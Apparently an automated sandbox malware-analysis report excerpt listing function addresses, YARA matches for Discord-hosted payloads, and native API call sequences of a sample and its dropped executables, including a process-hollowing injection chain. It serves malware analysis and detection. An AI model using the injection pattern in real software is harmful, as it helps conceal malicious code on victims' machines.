Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED2EF7 29_2_6CED2EF7
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE26E30 29_2_6CE26E30
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC67E2 29_2_6CEC67E2
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE32F70 29_2_6CE32F70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE1B090 29_2_6CE1B090
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE38840 29_2_6CE38840
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A830 29_2_6CE2A830
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE06800 29_2_6CE06800
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC1002 29_2_6CEC1002
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE299BF 29_2_6CE299BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC4AEF 29_2_6CEC4AEF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CECE2C5 29_2_6CECE2C5
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED32A9 29_2_6CED32A9
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEBFA2B 29_2_6CEBFA2B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEB23E3 29_2_6CEB23E3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE58BE8 29_2_6CE58BE8
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3ABD8 29_2_6CE3ABD8
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3EBB0 29_2_6CE3EBB0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEAEB8A 29_2_6CEAEB8A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2AB40 29_2_6CE2AB40
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A309 29_2_6CE2A309
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Code function: 35_2_00425150 35_2_00425150
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Code function: 35_2_0042419D 35_2_0042419D
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Code function: 35_2_0041FAF0 35_2_0041FAF0
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Code function: 35_2_00403340 35_2_00403340
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Code function: 35_2_00414437 35_2_00414437
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Code function: 35_2_00422E27 35_2_00422E27
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Code function: 35_2_00422F47 35_2_00422F47
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Code function: 35_2_0041FF88 35_2_0041FF88
PE file contains strange resources
Source: DC45.exe.12.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: DC45.exe.12.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 2E6C.exe.12.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 2E6C.exe.12.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 2E6C.exe.12.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 2E6C.exe.12.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 2E6C.exe.12.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 2E6C.exe.12.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 2E6C.exe.12.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Tries to load missing DLLs
Source: C:\Windows\explorer.exe Section loaded: taskschd.dll Jump to behavior
Uses 32bit PE files
Source: CFE9H9mdWr.exe Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
Yara signature match
Source: 31.0.4F44.exe.830000.2.unpack, type: UNPACKEDPE Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 27.0.234F.exe.1c0000.1.unpack, type: UNPACKEDPE Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 40.0.4F44.exe.3f0000.1.unpack, type: UNPACKEDPE Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 40.0.4F44.exe.3f0000.0.unpack, type: UNPACKEDPE Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 31.0.4F44.exe.830000.1.unpack, type: UNPACKEDPE Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 24.0.B4BD.exe.e30000.1.unpack, type: UNPACKEDPE Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 31.0.4F44.exe.830000.3.unpack, type: UNPACKEDPE Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 40.0.4F44.exe.3f0000.2.unpack, type: UNPACKEDPE Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 24.2.B4BD.exe.e30000.0.unpack, type: UNPACKEDPE Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 24.0.B4BD.exe.e30000.0.unpack, type: UNPACKEDPE Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 27.0.234F.exe.1c0000.2.unpack, type: UNPACKEDPE Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 24.0.B4BD.exe.e30000.2.unpack, type: UNPACKEDPE Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 24.0.B4BD.exe.e30000.3.unpack, type: UNPACKEDPE Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 27.0.234F.exe.1c0000.3.unpack, type: UNPACKEDPE Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 40.0.4F44.exe.3f0000.3.unpack, type: UNPACKEDPE Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 31.0.4F44.exe.830000.0.unpack, type: UNPACKEDPE Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 27.0.234F.exe.1c0000.0.unpack, type: UNPACKEDPE Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\DEC6.exe, type: DROPPED Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\234F.exe, type: DROPPED Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe, type: DROPPED Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\4F44.exe, type: DROPPED Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: String function: 6CE5D08C appears 37 times
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: String function: 6CE0B150 appears 128 times
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: String function: 6CE95720 appears 41 times
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Code function: String function: 00410ED0 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Code function: String function: 0040FB00 appears 100 times
Contains functionality to call native functions
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Code function: 0_2_00960110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess, 0_2_00960110
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Code function: 3_2_0040185B Sleep,NtTerminateProcess, 3_2_0040185B
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Code function: 3_2_00401866 Sleep,NtTerminateProcess, 3_2_00401866
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Code function: 3_2_0040187A Sleep,NtTerminateProcess, 3_2_0040187A
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Code function: 3_2_0040163B NtMapViewOfSection, 3_2_0040163B
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Code function: 3_2_004018D3 NtTerminateProcess, 3_2_004018D3
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Code function: 3_2_00401884 Sleep,NtTerminateProcess, 3_2_00401884
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Code function: 3_2_00401888 NtTerminateProcess, 3_2_00401888
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Code function: 3_2_0040156A NtMapViewOfSection, 3_2_0040156A
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Code function: 3_2_004015DB NtMapViewOfSection,NtMapViewOfSection, 3_2_004015DB
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Code function: 3_2_004017EA Sleep,NtTerminateProcess, 3_2_004017EA
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Code function: 3_1_0040156A NtMapViewOfSection, 3_1_0040156A
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Code function: 3_1_004015DB NtMapViewOfSection,NtMapViewOfSection, 3_1_004015DB
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Code function: 3_1_0040163B NtMapViewOfSection, 3_1_0040163B
Source: C:\Users\user\AppData\Roaming\bsstvub Code function: 17_2_00960110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess, 17_2_00960110
Source: C:\Users\user\AppData\Local\Temp\12C6.exe Code function: 18_2_02CB0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess, 18_2_02CB0110
Source: C:\Users\user\AppData\Roaming\bsstvub Code function: 19_2_0040185B Sleep,NtTerminateProcess, 19_2_0040185B
Source: C:\Users\user\AppData\Roaming\bsstvub Code function: 19_2_00401866 Sleep,NtTerminateProcess, 19_2_00401866
Source: C:\Users\user\AppData\Roaming\bsstvub Code function: 19_2_0040187A Sleep,NtTerminateProcess, 19_2_0040187A
Source: C:\Users\user\AppData\Roaming\bsstvub Code function: 19_2_0040163B NtMapViewOfSection, 19_2_0040163B
Source: C:\Users\user\AppData\Roaming\bsstvub Code function: 19_2_004018D3 NtTerminateProcess, 19_2_004018D3
Source: C:\Users\user\AppData\Roaming\bsstvub Code function: 19_2_00401884 Sleep,NtTerminateProcess, 19_2_00401884
Source: C:\Users\user\AppData\Roaming\bsstvub Code function: 19_2_00401888 NtTerminateProcess, 19_2_00401888
Source: C:\Users\user\AppData\Roaming\bsstvub Code function: 19_2_0040156A NtMapViewOfSection, 19_2_0040156A
Source: C:\Users\user\AppData\Roaming\bsstvub Code function: 19_2_004015DB NtMapViewOfSection,NtMapViewOfSection, 19_2_004015DB
Source: C:\Users\user\AppData\Roaming\bsstvub Code function: 19_2_004017EA Sleep,NtTerminateProcess, 19_2_004017EA
Source: C:\Users\user\AppData\Local\Temp\12C6.exe Code function: 20_2_0040185B Sleep,NtTerminateProcess, 20_2_0040185B
Source: C:\Users\user\AppData\Local\Temp\12C6.exe Code function: 20_2_00401866 Sleep,NtTerminateProcess, 20_2_00401866
Source: C:\Users\user\AppData\Local\Temp\12C6.exe Code function: 20_2_0040187A Sleep,NtTerminateProcess, 20_2_0040187A
Source: C:\Users\user\AppData\Local\Temp\12C6.exe Code function: 20_2_0040163B NtMapViewOfSection, 20_2_0040163B
Source: C:\Users\user\AppData\Local\Temp\12C6.exe Code function: 20_2_004018D3 NtTerminateProcess, 20_2_004018D3
Source: C:\Users\user\AppData\Local\Temp\12C6.exe Code function: 20_2_00401884 Sleep,NtTerminateProcess, 20_2_00401884
Source: C:\Users\user\AppData\Local\Temp\12C6.exe Code function: 20_2_00401888 NtTerminateProcess, 20_2_00401888
Source: C:\Users\user\AppData\Local\Temp\12C6.exe Code function: 20_2_0040156A NtMapViewOfSection, 20_2_0040156A
Source: C:\Users\user\AppData\Local\Temp\12C6.exe Code function: 20_2_004015DB NtMapViewOfSection,NtMapViewOfSection, 20_2_004015DB
Source: C:\Users\user\AppData\Local\Temp\12C6.exe Code function: 20_2_004017EA Sleep,NtTerminateProcess, 20_2_004017EA
Source: C:\Users\user\AppData\Local\Temp\12C6.exe Code function: 20_1_0040156A NtMapViewOfSection, 20_1_0040156A
Source: C:\Users\user\AppData\Local\Temp\12C6.exe Code function: 20_1_004015DB NtMapViewOfSection,NtMapViewOfSection, 20_1_004015DB
Source: C:\Users\user\AppData\Local\Temp\12C6.exe Code function: 20_1_0040163B NtMapViewOfSection, 20_1_0040163B
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Code function: 24_2_031B0040 NtResumeThread, 24_2_031B0040
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_0040181C Sleep,NtTerminateProcess, 29_2_0040181C
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_00402406 NtEnumerateKey, 29_2_00402406
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_00401F25 NtQuerySystemInformation, 29_2_00401F25
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_00401828 Sleep,NtTerminateProcess, 29_2_00401828
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_00402431 NtEnumerateKey, 29_2_00402431
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_004017DA Sleep,NtTerminateProcess, 29_2_004017DA
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_004017F8 NtTerminateProcess, 29_2_004017F8
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_0040209A NtQuerySystemInformation, 29_2_0040209A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_004017A3 Sleep,NtTerminateProcess, 29_2_004017A3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49660 ZwAllocateVirtualMemory,LdrInitializeThunk, 29_2_6CE49660
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE4967A NtQueryInformationProcess,LdrInitializeThunk, 29_2_6CE4967A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49600 ZwOpenKey,LdrInitializeThunk, 29_2_6CE49600
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49780 ZwMapViewOfSection,LdrInitializeThunk, 29_2_6CE49780
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE498C0 ZwDuplicateObject,LdrInitializeThunk, 29_2_6CE498C0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49860 ZwQuerySystemInformation,LdrInitializeThunk, 29_2_6CE49860
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49820 ZwEnumerateKey,LdrInitializeThunk, 29_2_6CE49820
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE499A0 ZwCreateSection,LdrInitializeThunk, 29_2_6CE499A0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0F4E3 RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwSetEvent, 29_2_6CE0F4E3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE91CE4 ZwQueryInformationProcess, 29_2_6CE91CE4
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEB64FB ZwOpenKey,ZwQueryValueKey,RtlEqualUnicodeString,RtlEqualUnicodeString,RtlEqualUnicodeString,ZwClose, 29_2_6CEB64FB
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC14FB memset,RtlGetCurrentServiceSessionId,ZwTraceEvent, 29_2_6CEC14FB
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED8CD6 RtlGetCurrentServiceSessionId,ZwTraceEvent, 29_2_6CED8CD6
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE02CDB RtlFreeHeap,ZwClose,ZwSetEvent, 29_2_6CE02CDB
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED4CAB ZwTraceControl, 29_2_6CED4CAB
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED9CB3 RtlGetCurrentServiceSessionId,ZwTraceEvent, 29_2_6CED9CB3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE4A480 ZwInitializeNlsFiles, 29_2_6CE4A480
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC4496 ZwAllocateVirtualMemory,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint, 29_2_6CEC4496
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE83C93 wcschr,RtlInitUnicodeString,wcstoul,RtlAnsiStringToUnicodeString,RtlCompareUnicodeString,ZwProtectVirtualMemory,DbgPrintEx,RtlFreeUnicodeString, 29_2_6CE83C93
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEB3C60 RtlFlushSecureMemoryCache,ZwQueryVirtualMemory, 29_2_6CEB3C60
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2746D RtlLeaveCriticalSection,ZwClose,RtlFreeHeap, 29_2_6CE2746D
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49C70 ZwAlpcConnectPort, 29_2_6CE49C70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE45C70 TpSetPoolMaxThreadsSoftLimit,ZwSetInformationWorkerFactory, 29_2_6CE45C70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3AC7B ZwFreeVirtualMemory,RtlFillMemoryUlong,RtlFlushSecureMemoryCache,ZwFreeVirtualMemory,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,DbgPrint,DbgPrint,DbgPrint, 29_2_6CE3AC7B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED8C75 RtlGetCurrentServiceSessionId,ZwTraceEvent, 29_2_6CED8C75
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE91C76 ZwQueryInformationProcess, 29_2_6CE91C76
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE91C49 ZwQueryInformationProcess, 29_2_6CE91C49
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49C40 ZwAllocateVirtualMemoryEx, 29_2_6CE49C40
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE05450 RtlClearThreadWorkOnBehalfTicket,memcmp,RtlClearThreadWorkOnBehalfTicket,ZwSetInformationThread, 29_2_6CE05450
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE4A420 ZwGetNlsSectionPtr, 29_2_6CE4A420
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2FC39 ZwAssociateWaitCompletionPacket, 29_2_6CE2FC39
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE40413 ZwUnmapViewOfSection, 29_2_6CE40413
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED8C14 RtlGetCurrentServiceSessionId,ZwTraceEvent, 29_2_6CED8C14
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC1411 ZwTraceEvent, 29_2_6CEC1411
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49DE0 ZwAssociateWaitCompletionPacket, 29_2_6CE49DE0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE095F0 TpSetPoolMinThreads,ZwSetInformationWorkerFactory,RtlGetCurrentServiceSessionId,TpSetPoolMinThreads, 29_2_6CE095F0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEBBDFA RtlAcquireSRWLockExclusive,ZwAllocateVirtualMemory,RtlReleaseSRWLockExclusive, 29_2_6CEBBDFA
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE495F0 ZwQueryInformationFile, 29_2_6CE495F0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE04DC0 RtlpUnWaitCriticalSection,RtlWakeAddressAllNoFence,RtlRaiseStatus,TpWaitForAlpcCompletion,RtlpUnWaitCriticalSection,ZwSetEvent,TpWaitForAlpcCompletion,ZwAlpcQueryInformation, 29_2_6CE04DC0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE495C0 ZwSetEvent, 29_2_6CE495C0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2EDC4 ZwCancelWaitCompletionPacket, 29_2_6CE2EDC4
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE045D0 RtlGetThreadWorkOnBehalfTicket,RtlGetThreadWorkOnBehalfTicket,ZwQueryInformationThread, 29_2_6CE045D0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE495D0 ZwClose, 29_2_6CE495D0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEBFDD3 RtlGetCurrentServiceSessionId,ZwTraceEvent, 29_2_6CEBFDD3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE065A0 RtlpGetDeviceFamilyInfoEnum,RtlInitUnicodeString,ZwQueryLicenseValue,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlGetDeviceFamilyInfoEnum,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlGetVersion, 29_2_6CE065A0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49DA0 ZwAlpcSendWaitReceivePort, 29_2_6CE49DA0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE495B0 ZwSetInformationThread, 29_2_6CE495B0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49DB0 ZwAlpcSetInformation, 29_2_6CE49DB0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE1DD80 RtlAcquireSRWLockShared,ZwQueryVirtualMemory,RtlImageNtHeaderEx,RtlImageNtHeaderEx,RtlImageNtHeaderEx,RtlRaiseStatus,RtlAddressInSectionTable,RtlImageDirectoryEntryToData, 29_2_6CE1DD80
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CECB581 RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,ZwTraceEvent, 29_2_6CECB581
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC1582 ZwTraceEvent, 29_2_6CEC1582
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE03591 ZwSetInformationFile, 29_2_6CE03591
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE91D6A ZwWaitForMultipleObjects, 29_2_6CE91D6A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC6D61 ZwAllocateVirtualMemoryEx, 29_2_6CEC6D61
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49D70 ZwAlpcQueryInformation, 29_2_6CE49D70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE91570 ZwQuerySystemInformation,RtlInitUnicodeString,memset,ZwAlpcConnectPort,ZwAlpcSendWaitReceivePort,ZwClose, 29_2_6CE91570
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE91D43 ZwQueryInformationThread, 29_2_6CE91D43
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED1D55 ZwFreeVirtualMemory,RtlWakeAddressAllNoFence, 29_2_6CED1D55
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE31520 RtlInitializeCriticalSectionEx,RtlInitializeCriticalSectionEx,RtlGetCurrentServiceSessionId,ZwTraceEvent, 29_2_6CE31520
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49520 ZwWaitForSingleObject, 29_2_6CE49520
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEBFD22 ZwQueryInformationProcess,RtlUniform, 29_2_6CEBFD22
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE34D3B memset,RtlRunOnceExecuteOnce,ZwTraceControl,memcmp,RtlNtStatusToDosError,RtlFreeHeap,RtlAllocateHeap,RtlNtStatusToDosError,RtlFreeHeap, 29_2_6CE34D3B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED8D34 RtlGetCurrentServiceSessionId,ZwTraceEvent, 29_2_6CED8D34
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE91D0B ZwSetInformationProcess, 29_2_6CE91D0B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE496E0 ZwFreeVirtualMemory, 29_2_6CE496E0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0B6F0 EtwEventWriteNoRegistration,ZwTraceEvent,RtlNtStatusToDosError, 29_2_6CE0B6F0
